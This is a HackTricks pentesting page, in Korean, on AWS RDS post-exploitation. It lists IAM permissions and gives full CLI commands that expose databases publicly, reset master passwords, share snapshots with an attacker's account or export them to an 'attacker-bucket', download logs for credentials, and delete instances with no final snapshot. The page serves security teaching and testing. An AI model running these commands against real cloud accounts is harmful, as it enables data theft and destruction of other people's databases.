AWS - RDS Post Exploitation

Support HackTricks

RDS

자세한 정보는 다음을 확인하세요:

AWS - Relational Database (RDS) Enum

rds:CreateDBSnapshot, rds:RestoreDBInstanceFromDBSnapshot, rds:ModifyDBInstance

공격자가 충분한 권한을 가지고 있다면, DB의 스냅샷을 생성하고 그 스냅샷에서 공개적으로 접근 가능한 DB를 생성하여 DB를 공개적으로 접근 가능하게 만들 수 있습니다.

aws rds describe-db-instances # Get DB identifier

aws rds create-db-snapshot \
--db-instance-identifier <db-id> \
--db-snapshot-identifier cloudgoat

# Get subnet groups & security groups
aws rds describe-db-subnet-groups
aws ec2 describe-security-groups

aws rds restore-db-instance-from-db-snapshot \
--db-instance-identifier "new-db-not-malicious" \
--db-snapshot-identifier <scapshotId> \
--db-subnet-group-name <db subnet group> \
--publicly-accessible \
--vpc-security-group-ids <ec2-security group>

aws rds modify-db-instance \
--db-instance-identifier "new-db-not-malicious" \
--master-user-password 'Llaody2f6.123' \
--apply-immediately

# Connect to the new DB after a few mins

rds:ModifyDBSnapshotAttribute, rds:CreateDBSnapshot

이 권한을 가진 공격자는 DB의 스냅샷을 생성하고 이를 공개적으로 이용 가능하게 만들 수 있습니다. 그런 다음, 자신의 계정에서 해당 스냅샷으로 DB를 생성할 수 있습니다.

공격자가 rds:CreateDBSnapshot 권한이 없는 경우에도 다른 생성된 스냅샷을 공개할 수 있습니다.

# create snapshot
aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>

# Make it public/share with attackers account
aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --attribute-name restore --values-to-add all
## Specify account IDs instead of "all" to give access only to a specific account: --values-to-add {"111122223333","444455556666"}

rds:DownloadDBLogFilePortion

rds:DownloadDBLogFilePortion 권한을 가진 공격자는 RDS 인스턴스의 로그 파일의 일부를 다운로드할 수 있습니다. 민감한 데이터나 접근 자격 증명이 실수로 로그에 기록된 경우, 공격자는 이 정보를 사용하여 권한을 상승시키거나 무단 작업을 수행할 수 있습니다.

aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text

Potential Impact: 유출된 자격 증명을 사용하여 민감한 정보에 접근하거나 무단으로 조치를 취할 수 있습니다.

rds:DeleteDBInstance

이 권한을 가진 공격자는 기존 RDS 인스턴스를 DoS할 수 있습니다.

# Delete
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot

잠재적 영향: 기존 RDS 인스턴스 삭제 및 데이터 손실 가능성.

rds:StartExportTask

TODO: Test

이 권한을 가진 공격자는 RDS 인스턴스 스냅샷을 S3 버킷으로 내보낼 수 있습니다. 공격자가 대상 S3 버킷을 제어할 수 있다면, 내보낸 스냅샷 내의 민감한 데이터에 접근할 가능성이 있습니다.

aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id

Potential impact: 내보낸 스냅샷에서 민감한 데이터에 접근.

HackTricks 지원하기

Last updated